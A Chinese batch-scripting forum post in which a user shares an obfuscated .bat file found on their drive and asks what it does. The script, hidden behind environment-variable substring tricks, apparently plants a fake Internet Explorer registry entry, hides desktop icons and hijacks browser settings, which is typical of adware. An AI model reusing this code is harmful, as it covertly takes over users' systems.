[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖
sxw

Rank: 5Rank: 5

帖子
339 
积分
669 
技术
25  
捐助
0  
注册时间
2009-9-20 
1楼 跳转到 » 倒序看帖
打印
tT
发表于 2013-3-13 22:16 | 只看该作者

[注册表类] [已解决]在硬盘里发现了这个**.bat，是干什么的

  1. %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a 

  2. cls

  3. @%comspec:~-1%%userprofile:~5,1%h%appdata:~-7,1% %appdata:~-7,1%%programfiles:~-5,1%%programfiles:~-5,1%

  4. %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-13,1%%userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%userprofile:~6,1%=%%bh%%jkq%%vz%%f7%%4c50t%%u1w8%%(cdf9)%%@6tc%%

  5. %tcopu:~11,1%%appdata:~-7,1%%programfiles:~4,1% /%tcopu:~11,1% "%comspec:~-13,1%%appdata:~-7,1%%tcopu:~5,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-16,1%=%comspec:~-10,1%*"   %%%programfiles:~-4,1%  %programfiles:~-4,1%%userprofile:~14,1% %tcopu:~25,1%'REG QUERY "HKEY_CURRENT_USER\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\GDI"   /%tcopu:~8,1% ""'%tcopu:~30,1% %appdata:~15,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%URL=%%%programfiles:~-4,1% %%%tcopu:~4,1%

  6. %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%URL=%strURL: =%

  7. %tcopu:~11,1%%appdata:~-7,1%%programfiles:~4,1% /%tcopu:~11,1% "%comspec:~-13,1%%appdata:~-7,1%%tcopu:~5,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-16,1%=%comspec:~-10,1%*"   %%%programfiles:~-4,1%  %programfiles:~-4,1%%userprofile:~14,1% %tcopu:~25,1%'REG QUERY "HKEY_CURRENT_USER\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\GDIJIA"   /%tcopu:~8,1% ""'%tcopu:~30,1% %appdata:~15,1%%appdata:~-7,1% %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%T%appdata:~-1%%appdata:~-7,1%=%%%programfiles:~-4,1% %%%tcopu:~4,1%

  8. %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%T%appdata:~-1%%appdata:~-7,1%=%strTao: =%

  9. S%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%H%appdata:~-7,1%%appdata:~7,1%%comspec:~-1%=D:\V%programfiles:~-4,1%%comspec:~-16,1%%userprofile:~6,1%%appdata:~-1%%appdata:~-13,1%%programfiles:~-4,1%%tcopu:~9,1%%appdata:~-1%%comspec:~-13,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%%comspec:~-16,1%\M%comspec:~-1%%appdata:~15,1%%programfiles:~-4,1%%appdata:~-1%

  10. %comspec:~-16,1%%comspec:~-1%%comspec:~-13,1% %comspec:~-16,1%%comspec:~-13,1%%programfiles:~4,1%H%appdata:~-7,1%%appdata:~7,1%%comspec:~-1%=%strHome: =%

  11. %programfiles:~-4,1%%tcopu:~11,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% "%userprofile%\%appdata:~7,1%%appdata:~-1%%tcopu:~5,1%%comspec:~-1%%tcopu:~11,1%%programfiles:~-4,1%%appdata:~-13,1%%comspec:~-1%" %appdata:~15,1%%comspec:~-1%%appdata:~-13,1% "%userprofile%\%appdata:~7,1%%appdata:~-1%%tcopu:~5,1%%comspec:~-1%%tcopu:~11,1%%programfiles:~-4,1%%appdata:~-13,1%%comspec:~-1%"

  12. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %appdata:~-7,1%%tcopu:~1,1%%tcopu:~4,1%%comspec:~-1%%userprofile:~5,1%%comspec:~-13,1%%comspec:~-16,1% = %comspec:~-13,1%>>"%userprofile%\%appdata:~7,1%%appdata:~-1%%tcopu:~5,1%%comspec:~-1%%tcopu:~11,1%%programfiles:~-4,1%%appdata:~-13,1%%comspec:~-1%"

  13. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1% %comspec:~-13,1% : %appdata:~7,1%%appdata:~-1%%tcopu:~5,1%%comspec:~-1%%tcopu:~11,1%%programfiles:~-4,1%%appdata:~-13,1%%comspec:~-1%>>"%userprofile%\%appdata:~7,1%%appdata:~-1%%tcopu:~5,1%%comspec:~-1%%tcopu:~11,1%%programfiles:~-4,1%%appdata:~-13,1%%comspec:~-1%"

  14. %comspec:~-1%%userprofile:~5,1%%tcopu:~2,1%%appdata:~-7,1%  %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %strHome%\%comspec:~-13,1%%appdata:~7,1%%appdata:~-15,1%%comspec:~-13,1%%os:~5,1%%appdata:~-7,1%.%tcopu:~1,1%%appdata:~-1%%comspec:~-13,1%>>"%userprofile%\%appdata:~7,1%%appdata:~-1%%tcopu:~5,1%%comspec:~-1%%tcopu:~11,1%%programfiles:~-4,1%%appdata:~-13,1%%comspec:~-1%"

  15. %programfiles:~-4,1%%tcopu:~11,1% %userprofile:~14,1%%appdata:~-7,1%%comspec:~-13,1% %comspec:~-1%%comspec:~-2,1%%programfiles:~-4,1%%comspec:~-16,1%%comspec:~-13,1% "%userprofile%\L%programfiles:~-4,1%%userprofile:~14,1%%tcopu:~5,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%" %userprofile:~5,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~12,1% "%strHome%\L%programfiles:~-4,1%%userprofile:~14,1%%tcopu:~5,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%" "%userprofile%\L%programfiles:~-4,1%%userprofile:~14,1%%tcopu:~5,1%.%comspec:~-1%%comspec:~-2,1%%comspec:~-1%"

  16. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCU\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\W%programfiles:~-4,1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-7,1%%os:~5,1%%comspec:~-16,1%\C%userprofile:~6,1%%programfiles:~4,1%%programfiles:~4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%V%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%\E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\H%programfiles:~-4,1%%appdata:~15,1%%comspec:~-1%D%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-13,1%%appdata:~-7,1%%appdata:~-15,1%I%userprofile:~5,1%%appdata:~-7,1%%userprofile:~14,1%%comspec:~-16,1%\C%appdata:~-13,1%%appdata:~-1%%comspec:~-16,1%%comspec:~-16,1%%programfiles:~-4,1%%userprofile:~5,1%S%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1%M%comspec:~-1%%userprofile:~14,1%%userprofile:~6,1%" /%tcopu:~8,1% "{%tcopu:~23,1%%tcopu:~12,1%%tcopu:~21,1%C%tcopu:~16,1%%comspec:~-10,1%%tcopu:~23,1%%tcopu:~17,1%-%tcopu:~14,1%%comspec:~-9,1%A%tcopu:~17,1%-%tcopu:~21,1%%tcopu:~17,1%%tcopu:~33,1%%tcopu:~29,1%-A%comspec:~-9,1%EA-%tcopu:~17,1%%tcopu:~23,1%%tcopu:~17,1%%tcopu:~17,1%%comspec:~-9,1%B%comspec:~-10,1%%tcopu:~17,1%%comspec:~-10,1%%tcopu:~17,1%%tcopu:~29,1%D}" /%appdata:~15,1% "%tcopu:~21,1%" /%tcopu:~11,1% 

  17. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCU\S%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%%os:~5,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-1%\M%programfiles:~-4,1%%userprofile:~5,1%%programfiles:~4,1%%appdata:~-7,1%%comspec:~-16,1%%appdata:~-7,1%%tcopu:~11,1%%comspec:~-13,1%\W%programfiles:~-4,1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-7,1%%os:~5,1%%comspec:~-16,1%\C%userprofile:~6,1%%programfiles:~4,1%%programfiles:~4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%V%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%%programfiles:~-4,1%%appdata:~-7,1%%userprofile:~14,1%\E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%comspec:~-1%%programfiles:~4,1%\H%programfiles:~-4,1%%appdata:~15,1%%comspec:~-1%D%comspec:~-1%%comspec:~-16,1%%tcopu:~5,1%%comspec:~-13,1%%appdata:~-7,1%%appdata:~-15,1%I%userprofile:~5,1%%appdata:~-7,1%%userprofile:~14,1%%comspec:~-16,1%\N%comspec:~-1%%os:~5,1%S%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1%P%appdata:~-1%%userprofile:~14,1%%comspec:~-1%%appdata:~-13,1%" /%tcopu:~8,1% "{%tcopu:~23,1%%tcopu:~12,1%%tcopu:~21,1%C%tcopu:~16,1%%comspec:~-10,1%%tcopu:~23,1%%tcopu:~17,1%-%tcopu:~14,1%%comspec:~-9,1%A%tcopu:~17,1%-%tcopu:~21,1%%tcopu:~17,1%%tcopu:~33,1%%tcopu:~29,1%-A%comspec:~-9,1%EA-%tcopu:~17,1%%tcopu:~23,1%%tcopu:~17,1%%tcopu:~17,1%%comspec:~-9,1%B%comspec:~-10,1%%tcopu:~17,1%%comspec:~-10,1%%tcopu:~17,1%%tcopu:~29,1%D}" /%appdata:~15,1% "%tcopu:~21,1%" /%tcopu:~11,1% 

  18. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}" /%tcopu:~8,1% "" /%appdata:~15,1% "I%userprofile:~14,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%userprofile:~14,1%%comspec:~-1%%comspec:~-13,1% E%comspec:~-2,1%%appdata:~-15,1%%appdata:~-13,1%%appdata:~-7,1%%programfiles:~4,1%%appdata:~-1%%programfiles:~4,1%" /%tcopu:~11,1%

  19. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\I%userprofile:~14,1%P%programfiles:~4,1%%appdata:~-7,1%%userprofile:~5,1%S%comspec:~-1%%programfiles:~4,1%%tcopu:~8,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-10,1%%comspec:~-9,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "%SystemRoot%\%comspec:~-16,1%%comspec:~12,1%%comspec:~-16,1%%comspec:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-10,1%%comspec:~-9,1%\%comspec:~-16,1%%tcopu:~2,1%%appdata:~15,1%%appdata:~-7,1%%userprofile:~5,1%%tcopu:~8,1%%os:~5,1%.%appdata:~15,1%%appdata:~-13,1%%appdata:~-13,1%" /%tcopu:~11,1%

  20. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\I%userprofile:~14,1%P%programfiles:~4,1%%appdata:~-7,1%%userprofile:~5,1%S%comspec:~-1%%programfiles:~4,1%%tcopu:~8,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-10,1%%comspec:~-9,1%" /%tcopu:~8,1% "T%tcopu:~2,1%%programfiles:~4,1%%comspec:~-1%%appdata:~-1%%appdata:~15,1%%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~6,1%M%appdata:~-7,1%%appdata:~15,1%%comspec:~-1%%appdata:~-13,1%" /%appdata:~15,1% "A%appdata:~-15,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1%%appdata:~7,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%" /%tcopu:~11,1%

  21. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\I%userprofile:~14,1%%comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%" /%tcopu:~8,1% "CLSID" /%appdata:~15,1% "{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~23,1%%tcopu:~16,1%%appdata:~15,1%%userprofile:~5,1%%tcopu:~12,1%-%tcopu:~14,1%%appdata:~15,1%%appdata:~-1%%tcopu:~17,1%-%tcopu:~14,1%%comspec:~-10,1%%tcopu:~23,1%%appdata:~15,1%-%appdata:~-1%%appdata:~15,1%%tcopu:~17,1%%tcopu:~14,1%-%comspec:~-1%%tcopu:~14,1%%comspec:~-9,1%%userprofile:~5,1%%tcopu:~23,1%%appdata:~15,1%%comspec:~-9,1%%appdata:~15,1%%tcopu:~33,1%%tcopu:~14,1%%tcopu:~1,1%%tcopu:~29,1%}" /%tcopu:~11,1%

  22. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\I%userprofile:~14,1%%comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%\I%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-13,1%P%programfiles:~4,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-13,1%%comspec:~12,1%B%appdata:~-1%%programfiles:~6,1%" /%tcopu:~8,1% "E%appdata:~-13,1%%comspec:~-1%%appdata:~7,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%" /%appdata:~15,1% "{%comspec:~-10,1%%userprofile:~5,1%%tcopu:~23,1%%tcopu:~21,1%%comspec:~-1%%tcopu:~12,1%%tcopu:~11,1%%appdata:~-1%-%tcopu:~21,1%%tcopu:~11,1%%comspec:~-10,1%%tcopu:~1,1%-%tcopu:~14,1%%tcopu:~33,1%%tcopu:~14,1%%appdata:~-1%-%appdata:~-1%%comspec:~-10,1%%tcopu:~16,1%%tcopu:~17,1%-%tcopu:~21,1%%tcopu:~21,1%%tcopu:~14,1%%appdata:~-1%%comspec:~-9,1%%tcopu:~16,1%%tcopu:~1,1%%comspec:~-1%%tcopu:~1,1%%comspec:~-9,1%%appdata:~-1%%comspec:~-9,1%}" /%tcopu:~11,1%

  23. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\I%userprofile:~14,1%%comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%userprofile:~14,1%%userprofile:~5,1%%comspec:~-1%\I%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-13,1%P%programfiles:~4,1%%appdata:~-7,1%%appdata:~-15,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-13,1%%comspec:~12,1%B%appdata:~-1%%programfiles:~6,1%" /%tcopu:~8,1% "I%userprofile:~14,1%%programfiles:~-4,1%%comspec:~-13,1%S%comspec:~-13,1%%programfiles:~4,1%%programfiles:~-4,1%%userprofile:~14,1%%programfiles:~6,1%" /%appdata:~15,1% "%programfiles:~4,1%%programfiles:~-4,1%%comspec:~-1%" /%tcopu:~11,1%

  24. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%%comspec:~-1%%comspec:~-2,1%\C%appdata:~-7,1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-1%%comspec:~-2,1%%comspec:~-13,1%M%comspec:~-1%%userprofile:~14,1%%userprofile:~6,1%H%appdata:~-1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-13,1%%comspec:~-1%%programfiles:~4,1%%comspec:~-16,1%\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}" /%tcopu:~8,1% "" /%appdata:~15,1% "" /%tcopu:~11,1%

  25. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%%comspec:~-1%%comspec:~-2,1%\I%userprofile:~5,1%%appdata:~-7,1%%userprofile:~14,1%H%appdata:~-1%%userprofile:~14,1%%appdata:~15,1%%appdata:~-13,1%%comspec:~-1%%programfiles:~4,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}" /%tcopu:~11,1%

  26. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\%comspec:~-16,1%%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%%comspec:~-1%%comspec:~-2,1%\M%appdata:~-1%%comspec:~12,1%C%tcopu:~2,1%%appdata:~-1%%userprofile:~14,1%%programfiles:~6,1%%comspec:~-1%D%comspec:~-1%%tcopu:~11,1%%appdata:~-1%%userprofile:~6,1%%appdata:~-13,1%%comspec:~-13,1%M%comspec:~-1%%userprofile:~14,1%%userprofile:~6,1%" /%tcopu:~8,1% "" /%appdata:~15,1% "" /%tcopu:~11,1%

  27. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKCR\CLSID\{%comspec:~-9,1%%tcopu:~16,1%%tcopu:~16,1%%tcopu:~29,1%A%tcopu:~21,1%F%tcopu:~14,1%-%comspec:~-9,1%%tcopu:~21,1%D%tcopu:~12,1%-%tcopu:~21,1%%tcopu:~21,1%D%tcopu:~14,1%-BDAF-%tcopu:~17,1%%tcopu:~17,1%C%tcopu:~17,1%%tcopu:~14,1%F%tcopu:~33,1%%tcopu:~17,1%BB%tcopu:~21,1%%tcopu:~21,1%}\S%tcopu:~2,1%%comspec:~-1%%appdata:~-13,1%%appdata:~-13,1%F%appdata:~-7,1%%appdata:~-13,1%%appdata:~15,1%%comspec:~-1%%programfiles:~4,1%" /%tcopu:~8,1% "A%comspec:~-13,1%%comspec:~-13,1%%programfiles:~4,1%%programfiles:~-4,1%%tcopu:~1,1%%userprofile:~6,1%%comspec:~-13,1%%comspec:~-1%%comspec:~-16,1%" /%comspec:~-13,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1%_%appdata:~15,1%%os:~5,1%%appdata:~-7,1%%programfiles:~4,1%%appdata:~15,1% /%appdata:~15,1% %tcopu:~17,1% /%tcopu:~11,1%

  28. %comspec:~-16,1%%comspec:~-13,1%%appdata:~-1%%programfiles:~4,1%%comspec:~-13,1% /%appdata:~7,1%%programfiles:~-4,1%%userprofile:~14,1% %programfiles:~4,1%%comspec:~-1%%programfiles:~6,1% %appdata:~-1%%appdata:~15,1%%appdata:~15,1% "HKLM\SOFTWARE\C%appdata:~-13,1%%programfiles:~-4,1%%comspec:~-1%%userprofile:~14,1%%comspec:~-13,1%%comspec:~-16,1%\%programfiles:~4,1%%programfiles:~-4,1%%comspec:~-1%" /%tcopu:~8,1% "" /%appdata:~15,1% "IEXPLORE.EXE" /%tcopu:~11,1%

